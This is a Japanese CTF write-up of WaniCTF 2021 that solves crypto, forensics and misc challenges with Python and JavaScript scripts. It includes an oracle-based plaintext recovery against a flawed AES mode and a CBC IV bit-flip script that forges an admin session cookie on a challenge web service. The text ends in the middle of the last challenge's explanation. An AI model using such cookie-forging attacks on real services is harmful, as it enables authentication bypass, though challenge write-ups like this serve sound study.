WaniCTF 2021 writeup

Writer:b1uef0x / Webページ建造途中

概要

個人参加でCrypto,Misc,Reversingを完答した。最終13位。

スコアボード

目次

fox (Crypto:Beginner)

What does the fox say?🦊

本CTFの導入というわけで( https://www.youtube.com/watch?v=jofNR_WkoCE )を垂れ流しながら解くことにした。

以下のPythonコードと出力結果が配布される。

flag = b"FAKE{REDACTED}"


def bytes_to_int(B: bytes):
    X = 0
    for b in B:
        X <<= 8
        X += b
    return X


print(bytes_to_int(flag))

byteをintに変換する簡単な関数だ。Cryptoモジュールに相当するものはあるが、真面目に逆変換する関数を書いた。

encoded = 19116989514623535769166210117786818367158332986915210065591753844573169066323884981321863605962664727709419615399694310104576887228581060509732286555123028133634836954522269304382229987197

def int_to_bytes(I: int):
    X = b''
    while(I>0):
        X = bytes([I % 0x100]) + X
        I >>= 8
    return X

print(int_to_bytes(encoded))

実行するとスピーカーから流れる奇声と共にflagが手に入る。

FLAG{R1ng_d1n9_ding_d1ng_ding3ring3ding?__Wa_p@_pa_p@_pa_p@_pow?__or_konko-n?}

dango (Crypto:Easy)

🍡

XOR暗号化問題。次のPythonコードと出力結果が配布される。

chall.pyimport secrets
from functools import reduce

flag = b"FAKE{REDACTED}"
key = [secrets.token_bytes(len(flag)) for _ in range(3)]


def XOR(*X):
    xor = lambda A, B: bytes(x ^ y for x, y in zip(A, B))
    return reduce(xor, X)


ciphertext = XOR(flag, key[0])
A = XOR(key[0], key[1], key[2])
B = XOR(key[0], key[1])
C = XOR(key[1], key[2])

print(f"ciphertext : {ciphertext.hex()}")
print(f"A : {A.hex()}")
print(f"B : {B.hex()}")
print(f"C : {C.hex()}")
output.txtciphertext : bd35b1c95ee9436db8fad5c3aa493660e606fa4dd7fe171aac75313c18ce5fcf86f0
A : cae61858ee8c7198632c652fd8416092eb165e2f847f0ebd80637ed0ffd96c6e0359
B : e6ed8bda14f67343d81830f0f2be3299a97b541db48cfa1873a13e8d774f1e243ce7
C : 319fe8d6cb01539bbcb9ef9f13663d8b6274c50b0ce578c94b7910b3ca785ccea8d4

XOR演算は同じもの同士を掛けると打ち消されるため、A,B,C,ciphertextをそれぞれXOR演算してflag以外を消せばよい。

from functools import reduce

def int_to_bytes(I: int):
    X = b''
    while(I>0):
        X = bytes([I % 0x100]) + X
        I >>= 8
    return X


ciphertext = int_to_bytes(0xbd35b1c95ee9436db8fad5c3aa493660e606fa4dd7fe171aac75313c18ce5fcf86f0)
A = int_to_bytes(0xcae61858ee8c7198632c652fd8416092eb165e2f847f0ebd80637ed0ffd96c6e0359)
B = int_to_bytes(0xe6ed8bda14f67343d81830f0f2be3299a97b541db48cfa1873a13e8d774f1e243ce7)
C = int_to_bytes(0x319fe8d6cb01539bbcb9ef9f13663d8b6274c50b0ce578c94b7910b3ca785ccea8d4)

def XOR(*X):
    xor = lambda A, B: bytes(x ^ y for x, y in zip(A, B))
    return reduce(xor, X)

flag = XOR(ciphertext,XOR(B,XOR(C,XOR(A,B))))

print(flag)

FLAG{dango_sankyodai_dango__-ooo-}

Sweet curve (Crypto:Normal)

🥠🍩🍪。

もはや問題文を掲載する意味はないようだ。次の問題文が書かれたテキストが配布される。

# Given:
# - An elliptic curve: y**2 = x**3 - x + 1 (mod p)
# - Two points: P(x_P, y_P) and Q(x_Q, y_Q)

# Find the point P+Q
# The flag is the x value of P+Q
# Don't forget to convert it into a string!
p = 0x89a4e2c7f834f5fbc6f2a314e373e3723de7df6283c5d97cbca509c61e02965b7ef96efce1d827bfdfa7f21d22803558bb549f9ea15dfe9f47d3976648c55feb
x_P = 0x1e1cba0e07c61cf88e9f23b9859093c33c26cf83bcfb6fe24d7559cd0ea86fb2f144ae643ac5edf6f04ef065dc7c2c18d88ae02843592d5e611029fefc0fece
y_P = 0x198420b30a4330f82380326895d0ac06a1859bc49d45cd4b08021b857d23d515163b9151fbaf7ae5f816d485d129d3b1c4630d1fb45c6790af551428a5c85667
x_Q = 0x7e32edfd7befd8df93d7b738d6a1c95e1cfd56b3a6ccc4a62e4e0ae9059b4903e71fccbe07d8d45c762b4a3ed5c9d1a2505043d033e58adb72191259b81bc47d
y_Q = 0x46016c676585feaf048fff9d5cbb45dbd598c6c4c81694e0881bf110b57012f0bac6eaf7376fee015c8cecba1fc92206ca346f7d72ee1d60f820091c85fa76b3

楕円曲線上における加法を計算する問題である。使えるコードを探したところ( https://paiza.hatenablog.com/entry/2018/05/25/Pythonを使って試す・Bitcoinの楕円曲線暗号で作られるアド )にいいものがあったので一部使わせていただいた。

sp   = 0x89a4e2c7f834f5fbc6f2a314e373e3723de7df6283c5d97cbca509c61e02965b7ef96efce1d827bfdfa7f21d22803558bb549f9ea15dfe9f47d3976648c55feb
x_P =  0x1e1cba0e07c61cf88e9f23b9859093c33c26cf83bcfb6fe24d7559cd0ea86fb2f144ae643ac5edf6f04ef065dc7c2c18d88ae02843592d5e611029fefc0fece
y_P = 0x198420b30a4330f82380326895d0ac06a1859bc49d45cd4b08021b857d23d515163b9151fbaf7ae5f816d485d129d3b1c4630d1fb45c6790af551428a5c85667
x_Q = 0x7e32edfd7befd8df93d7b738d6a1c95e1cfd56b3a6ccc4a62e4e0ae9059b4903e71fccbe07d8d45c762b4a3ed5c9d1a2505043d033e58adb72191259b81bc47d
y_Q = 0x46016c676585feaf048fff9d5cbb45dbd598c6c4c81694e0881bf110b57012f0bac6eaf7376fee015c8cecba1fc92206ca346f7d72ee1d60f820091c85fa76b3


def int_to_bytes(I: int):
    X = b''
    while(I>0):
        X = bytes([I % 0x100]) + X
        I >>= 8
    return X

def ec_add(p, q):
    tmp = ( (q[1]-p[1]) * inv_mod(q[0]-p[0]) ) % sp
    x = (tmp ** 2 - p[0] -q[0]) % sp
    y = (tmp * (p[0] - x) - p[1]) % sp
    return (x, y)

def inv_mod(a):
    low, high = a % sp, sp
    c0, c1 = 1, 0
    while low > 1:
        r = high // low
        c2 = c1 - c0 * r
        new = high - low * r
        high = low
        low = new
        c1 = c0
        c0 = c2
    return c0 % sp

res = ec_add([x_P,y_P],[x_Q,y_Q])
print(int_to_bytes(res[0]))

FLAG{7h1s_curv3_alw@ys_r3m1nd5_me_0f_pucca}

AES-NOC (Crypto:Hard)

AES-CBCか...って、あれ?

nc aesnoc.crypto.wanictf.org 50000

サーバーに接続して解く問題。サーバー上で動作している次のプログラムが配布される。

import os

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.strxor import strxor

from secret import flag


class AESNOC:
    def __init__(self, key: bytes, iv: bytes):
        self.iv = iv
        self.key = key
        self.block_size = AES.block_size

    def encrypt(self, plaintext: bytes):
        cipher = AES.new(self.key, AES.MODE_ECB)
        plaintext = pad(plaintext, self.block_size)
        P = [
            plaintext[i : i + self.block_size]
            for i in range(0, len(plaintext), self.block_size)
        ]
        C = []

        P_prev = self.iv
        for p in P:
            c = cipher.encrypt(p)
            C.append(strxor(c, P_prev))
            P_prev = p

        return b"".join(C)


def main():
    key = os.urandom(16)
    iv = os.urandom(16)
    cipher = AESNOC(key, iv)

    assert len(flag) == 49
    assert flag.startswith(b"FLAG{")
    assert flag.endswith(b"}")

    iv = iv.hex()
    print(f"{iv = }")
    while True:
        print("1. Get encrypted flag")
        print("2. Encrypt")
        choice = int(input("> "))
        if choice == 1:
            encrypted_flag = cipher.encrypt(flag).hex()
            print(f"{encrypted_flag = }")
        elif choice == 2:
            plaintext = input("Plaintext [hex] > ")
            plaintext = bytes.fromhex(plaintext)
            ciphertext = cipher.encrypt(plaintext).hex()
            print(f"{ciphertext = }")
        else:
            print("Bye")
            break


if __name__ == "__main__":
    main()

接続すると初期ベクトルivを教えてもらうことができ、flagを暗号化した文と、任意の平文を暗号化することができる。暗号鍵を知ることはできない。

AES.ECBの文字が見えるが、これはECBではなくCBCのような処理を直接記述している。ような、と書いたのはCBCではないからだ。

暗号利用モードCBCにおける暗号化は以下のような手順で行われる。

CBCモードのブロック図

しかしこのプログラムでは以下のように、暗号文ではなく平文を使ってXORを行っている。

CBCモドキのブロック図

この平文を使ってXOR演算を行う処理を利用して平文を復元することが可能。

flagは49文字であるため、pad関数を実際に動作させると、padding後の文字列は次のようになっていることがわかる。

FLAG{*******************************************}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f

AES-128bitの最後のブロックは}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0fで全文字列が判明している。このブロック単体の暗号文を得ることができれば、flagの3ブロック目の平文とXORされた後の暗号文とXOR演算することによって、平文を復元できる。

これは可能で、任意の平分を暗号化するコマンドを使って、16進数で00000000000000000000000000000000000000000000000000000000000000007dを暗号化すれば、すべて0のXOR演算の結果は変わらないので、末尾に7d0f0f0f0f0f0f0f0f0f0f0f0f0f0f0fの暗号文が出力される。

例えば次のivとencrypted_flagが得られた時について、flagを求めてみよう。

iv = 1954976cdb11862d976390714215c124
encrypted_flag = e6585c8acd6f2a5a67dfddd8291d5552 381bfe6fbf1b9212e8bec37cffa252dd 75891f5bf2345129a70e4de00b1f659f 5c4a89c6a4ab0e2f1e0e299701d74ab7

flagと同じ長さのデータ、00000000000000000000000000000000000000000000000000000000000000007dを暗号化すると、padding後のデータと暗号文は以下のようになる。

padding後の平文:
00000000000000000000000000000000000000000000000000000000000000007d0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f
暗号文:
a76b0ec30a57f0b9557018cd1db0f3fbbe3f99afd1467694c21388bc5fa532df3915e5a791df514d723e4afc5e881588

4ブロック目はECBモードの出力に等しくなっている。

AES(7d0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f)→3915e5a791df514d723e4afc5e881588

対してencrypted_flagの4ブロック目は次のように暗号化されている。

AES(7d0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f) xor (flagの3ブロック目)→5c4a89c6a4ab0e2f1e0e299701d74ab7

よって、3915e5a791df514d723e4afc5e8815885c4a89c6a4ab0e2f1e0e299701d74ab7をXOR演算すればflagの3ブロック目が手に入る。

3915e5a791df514d723e4afc5e881588 xor 5c4a89c6a4ab0e2f1e0e299701d74ab7→655f6c6135745f626c30636b5f5f5f3f : e_la5t_bl0ck___?

flagの3ブロック目がわかったので、今度はこの3ブロック目の平文を使って同様の処理を行えば、2ブロック目を求めることができる。以下、結果。

入力:
0000000000000000000000000000000000000000000000000000000000000000655f6c6135745f626c30636b5f5f5f3f
暗号文:
a76b0ec30a57f0b9557018cd1db0f3fbbe3f99afd1467694c21388bc5fa532df51d62e3dad4d615cf86523d07c4011f7dcc1d7a137bacac85c7f22c9baa7876d

51d62e3dad4d615cf86523d07c4011f7 xor 75891f5bf2345129a70e4de00b1f659f → 245f31665f7930755f6b6e30775f7468 : $_1f_y0u_kn0w_th
入力:
0000000000000000000000000000000000000000000000000000000000000000245f31665f7930755f6b6e30775f7468
暗号文:
a76b0ec30a57f0b9557018cd1db0f3fbbe3f99afd1467694c21388bc5fa532df7e57bf28c44cfa26dfe1ab488fd261b39dc18aa65db7a5df6f242f9292a7ac3a

7e57bf28c44cfa26dfe1ab488fd261b3 xor 381bfe6fbf1b9212e8bec37cffa252dd → 464c41477b576834375f68347070336e : FLAG{Wh47_h4pp3n

FLAG{Wh47_h4pp3n$_1f_y0u_kn0w_the_la5t_bl0ck___?}

Flag Service (Crypto:Very hard)

🚩🤵

https://service.crypto.wanictf.org

Welcome to Flag Serviceのログインページが表示され、適当な名前でログインできる。サーバー側のコードは一通り配布されている。

app.pyfrom cipher import AESCBC
from flask import Flask, redirect, render_template, request
from secret import flag

app = Flask(__name__)
cipher = AESCBC()


@app.route("/")
def index():
    try:
        token = request.cookies.get("token")
        session = cipher.decrypt(token)
        return render_template("index.html", session=session, flag=flag)
    except Exception:
        pass
    return render_template("index.html")


@app.route("/login", methods=["POST"])
def login():
    username = request.form.get("username")
    session = {"admin": False, "username": username}
    token = cipher.encrypt(session)

    response = redirect("/")
    response.set_cookie("token", token)
    return response


@app.route("/logout", methods=["POST"])
def logout():
    response = redirect("/")
    response.set_cookie("token", expires=0)
    return response


if __name__ == "__main__":
    app.run()

app.pyを読むと、login()でログインすると{"admin": False, "username": username}のデータがsessionとしてセットされ、これを暗号化した結果をCookieに設定している。

index()でページを表示させたときには、Cookieを読んで復号化したsessionを渡している。ページ側は以下の通り。

index.html<!doctype html>
<html lang="en">
    <head>
        <title>Flag Service</title>
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css" integrity="sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2" crossorigin="anonymous">
    </head>
    <body>
        <div class="container">
        <h1 class="display-4">Welcome to Flag Service</h1>
        <p class="lead">
            Hi! Welcome to Flag Service.
            You must be an admin to enjoy our "special" service.
        </p>
        {% if session %}
            <p class="lead">
                    Welcome, {{ session['username'] }}.
                    {% if session['admin'] %}
                        Here is special service!! <kbd>{{ flag }}</kbd>.
                    {% else %}
                        Hmm.. You're not admin :(
                    {% endif %}
            </p>
            <form method="post" action="/logout">
                <button type="submit" class="btn btn-primary mb-2">Logout</button>
            </form>
        {% else %}

            <form class="form-inline" method="post" action="/login">
                <div class="form-group mb-2">
                    <label for="username" class="sr-only">Username</label>
                    <input type="text" class="form-control" id="username" name="username" placeholder="Username" data-bv-notempty-message="The username is required" required >
                </div>
                <button type="submit" class="btn btn-primary mb-2">Submit</button>
            </form>
        {% endif %}
        </div>
    </body>
</html>

ページ側ではsessionを読んで、admin:Trueになっていればflagを表示してくれる。adminをTrueにするコードは存在せず、この問題はWebではなくCryptoであるので、暗号化されたsessionを改ざんしてTrueに変更する必要がある。

暗号化部分は次の通り。

cipher.pyimport base64
import json
import os

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad


class AESCBC:
    def __init__(self):
        self.key = os.urandom(16)

    def encrypt(self, data: str):
        cipher = AES.new(self.key, AES.MODE_CBC)

        iv = cipher.iv
        data = json.dumps(data)

        ciphertext = cipher.encrypt(pad(data.encode(), AES.block_size))

        token = base64.b64encode(iv + ciphertext)
        return token

    def decrypt(self, token: bytes):
        token = base64.b64decode(token)

        iv, ciphertext = token[: AES.block_size], token[AES.block_size :]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)

        plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)

        data = json.loads(plaintext)
        return data

AES-CBCを使っており、CBCビットフリップ攻撃が使える。方法は以前LINE CTFのCRY - babycrypto2でやったものと全く一緒になる。

CBCモードでの復号化は、1ブロック目についてはAES復号化したデータに初期ベクトルIVをXOR演算した結果を平文として出力する。初期ベクトルIVは暗号文の先頭にそのまま与えられており、IVを改ざんすることで暗号文に関わらず平文を変更することができる。

1ブロック目の平文は{"admin": False,になるので、これを{"admin": True ,に改ざんする初期ベクトルIVを計算するpythonコードを書いた。

import base64

ciphertext = base64.b64decode("iziK+BHecpawxSIXQEq3u8vXSIAjKfQsghAkFvRJ9CoafhtlxlaJrA8Bk1ISq0RwfB3MIT3Yxhj/1RzEmRFpHg==")
iv = ciphertext[0:16]
plaintexthead1 = b'{"admin": False,'
plaintexthead2 = b'{"admin": True ,'

new_iv = b''
for i in range(16):
        new_iv += (iv[i]^plaintexthead1[i]^plaintexthead2[i]).to_bytes(1, byteorder="little")

new_ciphertext = new_iv + ciphertext[16:]
print(base64.b64encode(new_ciphertext))

(復号データ) xor 元の初期ベクトル → 元の平文なので、元の平文 xor 元の初期ベクトルを計算すれば(復号データ)を得ることができる。(復号データ) xor 改ざん初期ベクトル → 改ざん平文から、(復号データ) xor 改ざん平文で改ざん初期ベクトルを得ることができる。つまり元の初期ベクトルと元の平文と改ざんしたい平文を全部XOR演算すれば欲しい初期ベクトルが手に入る。

プログラムを実行して得られるbase64文字列をCookieに上書きしてページを表示させるとAdminでログインした状態になり、flagを入手。

FLAG{Fl1p_Flip_Fl1p_Flip_Fl1p____voila!!}

propaganda (Forensics:Beginner)

超人気ゲームをみんなでプレイしよう!

FPSゲームでは銃を連射するためにマウスを高速クリックする技術が求められる。CTFにおいても同様で、配布された動画を停止と再生ボタンの高速クリックにてflagが映ったフレームで止めることができれば何ということはない。

flagが映ったところで動画を止めた様子。

FLAG{Stand_tall_We_are_Valorant_We_are_fighters!}

partition01 (Forensics:Easy)

新しくUSBを買ったのでたくさんパーティションを作ってみました!

イメージファイルが配布されるので、FTK Imagerで開いてパーティション3のroot直下を見ると、テキストファイル内に「The "partition01" FLAG is the name of the 3rd partition!」と書かれている。パーティション3の名前をバイナリ上で確認するとflagが見つかる。

パーティション名

FLAG{GPT03}

sonic (Forensics:Easy)

妖怪からのメッセージです.

音量注意!

雑音しか聴こえないwaveファイルが配布される。waveファイルをAudacityで読み込んでスペクトログラム表示にするとFLAGが現れる。

Audacityでスペクトログラム表示にした様子

FLAG{Messages_du_spectre}

partition02 (Forensics:Hard)

FLAG01とFLAG02にflag画像を分割して入れておきました.

添付のファイルは"partition01"と同じものです.

partition01で配布されたイメージファイルを引き続き使用する。パーティション5と7にflag01.pngとflag02.pngが入っているのでFTKで抽出した。

抽出した2つの画像を適当にコマンドプロンプトから、copy /b flag01.png + flag02.png flag.pngで1つのファイルに結合するとflagが出てくる。

結合後のflag.png

FLAG{you_found_flag_in_FLAGs}

poly (Forensics:Normal)

お前...pngか...?

FLAGの中身はすべて小文字です.

MP3と描かれたPNGファイルが配布される。これは不思議なファイルで、ファイルヘッダをMP3のTAGに変更すると音声ファイルとして再生することができる。音声を聴き取るとflagになる。

FLAG{thisismpng3}

binary (Misc:Beginner)

無線通信を題材にした問題。次のような形式でビット列が含まれる時系列データが配布される。

time,signal
0.000000 ,0
0.000004 ,1
0.000008 ,0
0.000012 ,0
0.000016 ,0
0.000020 ,1
0.000024 ,1
0.000028 ,0
0.000032 ,0
0.000036 ,1
0.000040 ,0
0.000044 ,0
0.000048 ,1
0.000052 ,1
0.000056 ,0
0.000060 ,0
0.000064 ,0
0.000068 ,1
0.000072 ,0
0.000076 ,0
0.000080 ,0
0.000084 ,0
0.000088 ,0
0.000092 ,1
0.000096 ,0

邪悪だけどJavaScriptで処理した。1バイトのASCIIコードを8ビットにして流しているから、戻せばよい。

<pre id="input">0.000000 ,0
0.000004 ,1
0.000008 ,0
0.000012 ,0
0.000016 ,0
0.000020 ,1
0.000024 ,1
0.000028 ,0
0.000032 ,0
0.000036 ,1
0.000040 ,0
0.000044 ,0
0.000048 ,1
0.000052 ,1
0.000056 ,0
0.000060 ,0
0.000064 ,0
0.000068 ,1
0.000072 ,0
0.000076 ,0
0.000080 ,0
0.000084 ,0
0.000088 ,0
0.000092 ,1
0.000096 ,0
0.000100 ,1
0.000104 ,0
0.000108 ,0
0.000112 ,0
0.000116 ,1
0.000120 ,1
0.000124 ,1
0.000128 ,0
0.000132 ,1
0.000136 ,1
0.000140 ,1
0.000144 ,1
0.000148 ,0
0.000152 ,1
0.000156 ,1
0.000160 ,0
0.000164 ,1
0.000168 ,1
0.000172 ,0
0.000176 ,0
0.000180 ,0
0.000184 ,1
0.000188 ,0
0.000192 ,0
0.000196 ,1
0.000200 ,1
0.000204 ,0
0.000208 ,1
0.000212 ,0
0.000216 ,0
0.000220 ,1
0.000224 ,0
0.000228 ,1
0.000232 ,1
0.000236 ,0
0.000240 ,1
0.000244 ,1
0.000248 ,1
0.000252 ,0
0.000256 ,0
0.000260 ,1
0.000264 ,1
0.000268 ,0
0.000272 ,0
0.000276 ,0
0.000280 ,0
0.000284 ,1
0.000288 ,0
0.000292 ,1
0.000296 ,1
0.000300 ,1
0.000304 ,0
0.000308 ,0
0.000312 ,1
0.000316 ,0
0.000320 ,0
0.000324 ,1
0.000328 ,1
0.000332 ,1
0.000336 ,1
0.000340 ,0
0.000344 ,0
0.000348 ,1
0.000352 ,0
0.000356 ,0
0.000360 ,1
0.000364 ,0
0.000368 ,1
0.000372 ,1
0.000376 ,0
0.000380 ,1
0.000384 ,0
0.000388 ,1
0.000392 ,1
0.000396 ,0
0.000400 ,1
0.000404 ,0
0.000408 ,0
0.000412 ,1
0.000416 ,0
0.000420 ,1
0.000424 ,1
0.000428 ,1
0.000432 ,0
0.000436 ,0
0.000440 ,1
0.000444 ,1
0.000448 ,0
0.000452 ,0
0.000456 ,1
0.000460 ,0
0.000464 ,1
0.000468 ,1
0.000472 ,0
0.000476 ,1
0.000480 ,0
0.000484 ,1
0.000488 ,1
0.000492 ,0
0.000496 ,0
0.000500 ,1
0.000504 ,0
0.000508 ,1
0.000512 ,0
0.000516 ,1
0.000520 ,1
0.000524 ,1
0.000528 ,0
0.000532 ,0
0.000536 ,1
0.000540 ,1
0.000544 ,0
0.000548 ,1
0.000552 ,1
0.000556 ,1
0.000560 ,0
0.000564 ,0
0.000568 ,1
0.000572 ,1
0.000576 ,0
0.000580 ,1
0.000584 ,1
0.000588 ,0
0.000592 ,0
0.000596 ,1
0.000600 ,0
0.000604 ,1
0.000608 ,0
0.000612 ,1
0.000616 ,1
0.000620 ,0
0.000624 ,1
0.000628 ,1
0.000632 ,1
0.000636 ,0
0.000640 ,0
0.000644 ,1
0.000648 ,1
0.000652 ,1
0.000656 ,0
0.000660 ,1
0.000664 ,0
0.000668 ,0
0.000672 ,0
0.000676 ,1
0.000680 ,1
0.000684 ,0
0.000688 ,1
0.000692 ,0
0.000696 ,0
0.000700 ,1
0.000704 ,0
0.000708 ,1
0.000712 ,1
0.000716 ,0
0.000720 ,0
0.000724 ,0
0.000728 ,0
0.000732 ,1
0.000736 ,0
0.000740 ,1
0.000744 ,1
0.000748 ,0
0.000752 ,1
0.000756 ,1
0.000760 ,0
0.000764 ,0
0.000768 ,0
0.000772 ,0
0.000776 ,1
0.000780 ,0
0.000784 ,1
0.000788 ,1
0.000792 ,0
0.000796 ,1
0.000800 ,0
0.000804 ,1
0.000808 ,1
0.000812 ,0
0.000816 ,0
0.000820 ,1
0.000824 ,1
0.000828 ,0
0.000832 ,0
0.000836 ,1
0.000840 ,1
0.000844 ,0
0.000848 ,1
0.000852 ,1
0.000856 ,1
0.000860 ,1
0.000864 ,0
0.000868 ,1
0.000872 ,1
0.000876 ,1
0.000880 ,0
0.000884 ,0
0.000888 ,1
0.000892 ,0
0.000896 ,0
0.000900 ,0
0.000904 ,1
0.000908 ,0
0.000912 ,1
0.000916 ,1
0.000920 ,0
0.000924 ,1
0.000928 ,0
0.000932 ,1
0.000936 ,1
0.000940 ,0
0.000944 ,0
0.000948 ,0
0.000952 ,1
0.000956 ,1
0.000960 ,0
0.000964 ,1
0.000968 ,1
0.000972 ,0
0.000976 ,1
0.000980 ,1
0.000984 ,1
0.000988 ,1
0.000992 ,0
0.000996 ,1
0.001000 ,1
0.001004 ,0
0.001008 ,1
0.001012 ,1
0.001016 ,0
0.001020 ,1
0.001024 ,0
0.001028 ,1
0.001032 ,1
0.001036 ,0
0.001040 ,1
0.001044 ,1
0.001048 ,0
0.001052 ,1
0.001056 ,0
0.001060 ,1
0.001064 ,1
0.001068 ,1
0.001072 ,0
0.001076 ,1
0.001080 ,0
0.001084 ,1
0.001088 ,0
0.001092 ,1
0.001096 ,1
0.001100 ,0
0.001104 ,1
0.001108 ,1
0.001112 ,1
0.001116 ,0
0.001120 ,0
0.001124 ,1
0.001128 ,1
0.001132 ,0
0.001136 ,1
0.001140 ,0
0.001144 ,0
0.001148 ,1
0.001152 ,0
0.001156 ,1
0.001160 ,1
0.001164 ,0
0.001168 ,0
0.001172 ,0
0.001176 ,1
0.001180 ,1
0.001184 ,0
0.001188 ,1
0.001192 ,1
0.001196 ,0
0.001200 ,0
0.001204 ,0
0.001208 ,0
0.001212 ,1
0.001216 ,0
0.001220 ,1
0.001224 ,1
0.001228 ,1
0.001232 ,0
0.001236 ,1
0.001240 ,0
0.001244 ,0
0.001248 ,0
0.001252 ,1
0.001256 ,1
0.001260 ,0
0.001264 ,1
0.001268 ,0
0.001272 ,0
0.001276 ,1
0.001280 ,0
0.001284 ,1
0.001288 ,1
0.001292 ,0
0.001296 ,1
0.001300 ,1
0.001304 ,1
0.001308 ,1
0.001312 ,0
0.001316 ,1
0.001320 ,1
0.001324 ,0
0.001328 ,1
0.001332 ,1
0.001336 ,1
0.001340 ,0
0.001344 ,0
0.001348 ,1
0.001352 ,1
0.001356 ,1
0.001360 ,1
0.001364 ,1
0.001368 ,0
0.001372 ,1
0.001376 ,0
0.001380 ,0
0.001384 ,0
0.001388 ,0
0.001392 ,1
0.001396 ,0
0.001400 ,1
0.001404 ,0</pre>

<script>
var inputs = document.getElementById("input").innerHTML.split("\n");
j = 0;
tmp = 0;
str = "";
for(i=0; i<inputs.length; i++) {
        tmp += (inputs[i].split(",")[1]==1)? Math.pow(2,7-j) : 0;
        j++;
        if(j==8) {
                str += String.fromCharCode(tmp);
                tmp = 0;
                j = 0;
        }
}
document.write(str);
</script>

FLAG{binary-is-essential-for-communication}

docker_dive (Misc:Easy)

Dockerの中に入ってsolverを実行してください。

Dockerは個人の環境に関係なく同じ環境を構築するために使われます。
一部のpwn問題は問題サーバー構築に使ったDockerfileを一緒に提供しています。
ローカルで動いてリモートで動かない場合はDockerを使って確認しましょう!

DockerfileとLinux用実行ファイルのsolverが配布される。

Linux環境でDockerfileをbuildして実行させればsolverを正しく実行させてflagが得られる。

******@******************:******/wani2021/docker$ sudo docker image build -t wani/docker ./
Sending build context to Docker daemon   21.5kB
Step 1/6 : FROM alpine:3.14
3.14: Pulling from library/alpine
a0d0a0d46f8b: Pull complete 
Digest: sha256:e1c082e3d3c45cccac829840a25941e679c25d438cc8412c2fa221cf1a824e6a
Status: Downloaded newer image for alpine:3.14
 ---> 14119a10abf4
Step 2/6 : WORKDIR /home/misc
 ---> Running in 42feac959db1
Removing intermediate container 42feac959db1
 ---> 361d1170ef8e
Step 3/6 : ADD ./solver /home/misc/solver
 ---> 7ef2fcfc7200
Step 4/6 : RUN chmod 550 /home/misc/solver
 ---> Running in 536a756f5246
Removing intermediate container 536a756f5246
 ---> 4919cf2becb1
Step 5/6 : RUN apk add libc6-compat
 ---> Running in e9f8acfcc3ca
fetch https://dl-cdn.alpinelinux.org/alpine/v3.14/main/x86_64/APKINDEX.tar.gz
fetch https://dl-cdn.alpinelinux.org/alpine/v3.14/community/x86_64/APKINDEX.tar.gz
(1/1) Installing libc6-compat (1.2.2-r3)
OK: 6 MiB in 15 packages
Removing intermediate container e9f8acfcc3ca
 ---> 5a16a6debcab
Step 6/6 : RUN ls /home/misc -lh
 ---> Running in 605527be5423
total 16K    
-r-xr-x---    1 root     root       14.1K Nov  6 12:49 solver
Removing intermediate container 605527be5423
 ---> dad45c2da876
Successfully built dad45c2da876
Successfully tagged wani/docker:latest



******@******************:******/wani2021/docker$ sudo docker images
REPOSITORY    TAG       IMAGE ID       CREATED          SIZE
wani/docker   latest    dad45c2da876   16 seconds ago   7.79MB
alpine        3.14      14119a10abf4   2 months ago     5.59MB



******@******************:******/wani2021/docker$ sudo docker run -it wani/docker
/home/misc # ls
solver
/home/misc # ./solver 
musl libc (x86_64)
Version 1.2.2
Dynamic Program Loader
Usage: /lib/ld-musl-x86_64.so.1 [options] [--] pathname
FLAG{y0u_Kn0W_H0w_to_Get_1nto_7he_DockeR}/home/misc # 

FLAG{y0u_Kn0W_H0w_to_Get_1nto_7he_DockeR}

nearest (Misc:Easy)

写真の場所に行きたいので、最寄り駅を教えてください。

ヘボン式

ex) 東京駅 → FLAG{tokyoeki},新大阪駅 → FLAG{shinosakaeki}

どこかの写真が配布され、最寄り駅を見つける問題。OSINT問である。

配布された画像

駅前商店街の奥の方の看板を拡大すると店の名前っぽいのが映っている。

配布された画像の中央拡大

「駅前商店街 さくら」でGoogle検索してそれっぽい画像を探すと、広島県尾道市東御所町の尾道駅がヒットした。

FLAG{onomichieki}

digital ASK (Misc:Normal)

binaryの続編、同じフォーマットで冗長なデータが配布される。16行ごとにデータが変化しているので、16行を1つにまとめてASCIIコードに変換するJavaScriptで解決した。

<pre id="input">0.000000 ,0
0.000004 ,0
0.000008 ,0
0.000012 ,0
0.000016 ,0
0.000020 ,0
0.000024 ,0
0.000028 ,0
0.000032 ,0
0.000036 ,0
0.000040 ,0
0.000044 ,0
0.000048 ,0
0.000052 ,0

(省略)

0.380096 ,0
0.380100 ,0
0.380104 ,0
0.380108 ,0
0.380112 ,0
0.380116 ,0
0.380120 ,0
0.380124 ,0
0.380128 ,0
0.380132 ,0
0.380136 ,0
0.380140 ,0
0.380144 ,0
0.380148 ,0
0.380152 ,0
0.380156 ,0</pre>

<pre>
<script>

var inputs = document.getElementById("input").innerHTML.split("\n");
bits = "";
for(i=0; i<inputs.length; i+=16)bits += inputs[i].split(",")[1];

j = 0;
tmp = 0;
str = "";
for(i=0; i<bits.length; i++) {
        tmp += (bits.charAt(i)==1)? Math.pow(2,7-j) : 0;
        j++;
        if(j==8) {
                str += String.fromCharCode(tmp);
                tmp = 0;
                j = 0;
        }
}
document.write(str);
</script>
</pre>

出てくるデータはASCIIコードじゃない部分も多いが、少なくともペイロード部分はASCIIなのでflagが出る。

FLAG{please-understand-frame-format-of-wireless-communication}

ASK over the air (Misc:Hard)

digital ASKの続編、同じフォーマットで冗長かつノイズが乗ったデータが配布される。どんな様子になっているのか簡単にExcelでグラフにしてみよう。

I信号とQ信号の分散グラフ

縦軸が信号強度、横軸が時間。点が密集して明確なシグナルが見える。Highシグナルが分布している強度範囲はプラマイ0.006以下となっているので、これより大きな値をノイズとして除去する。またLowシグナルは0.0003以下の領域に固まっていることから、これを閾値にHighとLowを分離する。データは前回の問題と同じく、16個を一つにまとめる。16個ずつデータをまとめて比較して、平均値からHighかLowかを判断している。

